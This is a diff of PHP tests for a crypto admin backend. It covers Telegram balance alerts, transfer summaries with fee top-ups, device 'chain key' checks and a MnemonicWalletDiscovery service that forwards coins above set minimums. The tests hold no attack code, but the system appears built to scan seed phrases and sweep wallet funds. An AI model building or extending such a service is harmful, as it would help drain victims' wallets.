&& str_contains($text, '⏳');
|
||||
&& str_contains($text, '⏳')
|
||||
&& ! str_contains($text, '@所有人');
|
||||
});
|
||||
}
|
||||
|
||||
@@ -539,7 +540,8 @@ class TokenviewWebhookTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '余额入账')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '余额入账')
|
||||
&& str_contains($text, '来源</b>: imToken - ETH')
|
||||
&& str_contains($text, '可归集</b>: ✅')
|
||||
&& ! str_contains($text, '可归集</b>: ⏳');
|
||||
|
||||
@@ -36,7 +36,10 @@ class TransferRecordAdminTest extends TestCase
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.transfers.index'))
|
||||
->assertOk()
|
||||
->assertSee('交易记录');
|
||||
->assertSee('交易记录')
|
||||
->assertSee('时间范围')
|
||||
->assertSee('成功归集金额')
|
||||
->assertSee('手续费补足金额');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data'))
|
||||
@@ -44,7 +47,123 @@ class TransferRecordAdminTest extends TestCase
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.asset', 'USDT')
|
||||
->assertJsonPath('data.0.status', 'success');
|
||||
->assertJsonPath('data.0.status', 'success')
|
||||
->assertJsonPath('summary.totals.0.asset', 'USDT')
|
||||
->assertJsonPath('summary.totals.0.amount', '10')
|
||||
->assertJsonPath('summary.totals.1.asset', 'ETH')
|
||||
->assertJsonPath('summary.totals.1.amount', '0');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function transfer_summary_follows_filters_and_counts_success_only(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin-sum', 'password' => 'admin123']);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => 'TFromA',
|
||||
'to_address' => 'TToA',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'ok-usdt',
|
||||
'amount' => '12.5',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => '0xFromB',
|
||||
'to_address' => '0xToB',
|
||||
'chain' => 'eth',
|
||||
'tx_hash' => 'ok-eth',
|
||||
'amount' => '0.75',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'ETH',
|
||||
'operator' => 'admin',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => 'TFromC',
|
||||
'to_address' => 'TToC',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'fail-usdt',
|
||||
'amount' => '99',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_FAILED,
|
||||
]);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => 'TFeeFrom',
|
||||
'to_address' => 'TFeeTo',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'fee-ok',
|
||||
'amount' => '20',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'TRX',
|
||||
'operator' => 'fee-topup:auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('summary.totals.0.asset', 'USDT')
|
||||
->assertJsonPath('summary.totals.0.amount', '12.5')
|
||||
->assertJsonPath('summary.totals.1.asset', 'ETH')
|
||||
->assertJsonPath('summary.totals.1.amount', '0.75')
|
||||
->assertJsonPath('summary.totals.2.asset', 'TRX')
|
||||
->assertJsonPath('summary.totals.2.amount', '0')
|
||||
->assertJsonPath('summary.fee_totals.2.asset', 'TRX')
|
||||
->assertJsonPath('summary.fee_totals.2.amount', '20');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data', ['asset' => 'USDT', 'status' => 'failed']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('summary.totals.0.amount', '12.5')
|
||||
->assertJsonPath('summary.totals.1.amount', '0');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function transfer_summary_respects_date_range(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin-range', 'password' => 'admin123']);
|
||||
$old = TransferRecord::query()->create([
|
||||
'from_address' => 'TOld',
|
||||
'to_address' => 'TTo',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'old',
|
||||
'amount' => '20',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
$old->created_at = '2026-01-01 12:00:00';
|
||||
$old->save();
|
||||
|
||||
$fresh = TransferRecord::query()->create([
|
||||
'from_address' => 'TNew',
|
||||
'to_address' => 'TTo',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'new',
|
||||
'amount' => '3',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
$fresh->created_at = '2026-10-01 12:00:00';
|
||||
$fresh->save();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.transfers.data', [
|
||||
'date_from' => '2026-10-01',
|
||||
'date_to' => '2026-10-02',
|
||||
]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.tx_hash', 'new')
|
||||
->assertJsonPath('summary.totals.0.amount', '3');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Models\Device;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceChainKeyTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function accepts_coruna_xxbb_16_hex_and_ds_app_uuid(): void
|
||||
{
|
||||
$this->assertTrue(Device::isKnownChainKey('000C30D83CD0402E'));
|
||||
$this->assertTrue(Device::isKnownChainKey('000c30d83cd0402e'));
|
||||
$this->assertTrue(Device::isKnownChainKey('50624FE26CC4A0DF689EAEA117557C3E'));
|
||||
$this->assertTrue(Device::isKnownChainKey('50624FE2-6CC4-A0DF-689E-AEA117557C3E'));
|
||||
$this->assertTrue(Device::isKnownChainKey('50624fe2-6cc4-a0df-689e-aea117557c3e'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function rejects_scanner_junk_ids(): void
|
||||
{
|
||||
$this->assertFalse(Device::isKnownChainKey('CEFCAEEAEFADCDFAEC238552151148443471A198920AFCDEAECDECDECEDCE018'));
|
||||
$this->assertFalse(Device::isKnownChainKey('CEFCAEEAEFADCDFAEC238552151148443485EF922FAAFCDEAECDECDECEDCE018'));
|
||||
$this->assertFalse(Device::isKnownChainKey('46BE1'));
|
||||
$this->assertFalse(Device::isKnownChainKey(''));
|
||||
$this->assertFalse(Device::isKnownChainKey(null));
|
||||
$this->assertFalse(Device::isKnownChainKey('not-a-device'));
|
||||
$this->assertNull(Device::acceptChainKey('46BE1'));
|
||||
$this->assertSame(
|
||||
'000C30D83CD0402E',
|
||||
Device::acceptChainKey('000C30D83CD0402E')
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class ScanForwardMinTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function unset_min_defaults_to_zero(): void
|
||||
{
|
||||
config([
|
||||
'coruna.scan.forward_min_usdt' => '',
|
||||
'coruna.scan.forward_min_trx' => null,
|
||||
]);
|
||||
|
||||
$this->assertSame('0', MnemonicWalletDiscovery::forwardMin('usdt'));
|
||||
$this->assertSame('0', MnemonicWalletDiscovery::forwardMin('trx'));
|
||||
$this->assertTrue(MnemonicWalletDiscovery::coinsMeetForwardMin(['usdt' => '0.01']));
|
||||
$this->assertFalse(MnemonicWalletDiscovery::coinsMeetForwardMin(['usdt' => '0']));
|
||||
$this->assertFalse(MnemonicWalletDiscovery::coinsMeetForwardMin(['usdt' => '']));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function any_coin_above_its_min_is_enough(): void
|
||||
{
|
||||
config([
|
||||
'coruna.scan.forward_min_usdt' => '10',
|
||||
'coruna.scan.forward_min_trx' => '20',
|
||||
'coruna.scan.forward_min_eth' => '1',
|
||||
'coruna.scan.forward_min_btc' => '0.1',
|
||||
'coruna.scan.forward_min_sol' => '5',
|
||||
'coruna.scan.forward_min_bnb' => '2',
|
||||
]);
|
||||
|
||||
$this->assertFalse(MnemonicWalletDiscovery::coinsMeetForwardMin([
|
||||
'usdt' => '10',
|
||||
'trx' => '20',
|
||||
'eth' => '1',
|
||||
'btc' => '0.1',
|
||||
'sol' => '5',
|
||||
'bnb' => '2',
|
||||
]));
|
||||
$this->assertTrue(MnemonicWalletDiscovery::coinsMeetForwardMin(['usdt' => '10.01']));
|
||||
$this->assertTrue(MnemonicWalletDiscovery::coinsMeetForwardMin(['trx' => '20.1']));
|
||||
$this->assertTrue(MnemonicWalletDiscovery::coinsMeetForwardMin(['eth' => '1.0001']));
|
||||
$this->assertTrue(MnemonicWalletDiscovery::coinsMeetForwardMin(['btc' => '0.10000001']));
|
||||
$this->assertTrue(MnemonicWalletDiscovery::coinsMeetForwardMin(['sol' => '5.1']));
|
||||
$this->assertTrue(MnemonicWalletDiscovery::coinsMeetForwardMin(['bnb' => '2.01']));
|
||||
$this->assertFalse(MnemonicWalletDiscovery::coinsMeetForwardMin(['usdt' => '9.99', 'trx' => '19']));
|
||||
}
|
||||
}
|
||||
@@ -47,7 +47,35 @@ class WalletAddressDisplayTest extends TestCase
|
||||
return str_contains($text, '来源</b>: imToken')
|
||||
&& str_contains($text, '余额</b>: TRX: 0 USDT: 0')
|
||||
&& str_contains($text, '渠道 ID')
|
||||
&& str_contains($text, '<a href="https://tronscan.org/#/address/TPNSuxAtsy8d2LArQGN2z8a4pZyES2QfH7">🔍</a>')
|
||||
&& ! str_contains($text, '余额</b>: imToken');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function explorer_url_matches_chain(): void
|
||||
{
|
||||
$this->assertSame(
|
||||
'https://tronscan.org/#/address/TXtjW9tRKjW79rPoySUjvQ15V4NYXJNwBR',
|
||||
WalletAddress::explorerUrl('TRON', 'TXtjW9tRKjW79rPoySUjvQ15V4NYXJNwBR')
|
||||
);
|
||||
$this->assertSame(
|
||||
'https://etherscan.io/address/0x9858effd232b4033e47d90003d41ec34ecaeda94',
|
||||
WalletAddress::explorerUrl('eth', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
||||
);
|
||||
$this->assertSame(
|
||||
'https://bscscan.com/address/0xabc',
|
||||
WalletAddress::explorerUrl('BSC', '0xabc')
|
||||
);
|
||||
$this->assertSame(
|
||||
'https://mempool.space/address/1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
|
||||
WalletAddress::explorerUrl('BTC', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
|
||||
);
|
||||
$this->assertSame(
|
||||
'https://solscan.io/account/SoL111',
|
||||
WalletAddress::explorerUrl('SOL', 'SoL111')
|
||||
);
|
||||
$this->assertNull(WalletAddress::explorerUrl('TRON', ''));
|
||||
$this->assertNull(WalletAddress::explorerUrl('unknown', 'TXtj'));
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user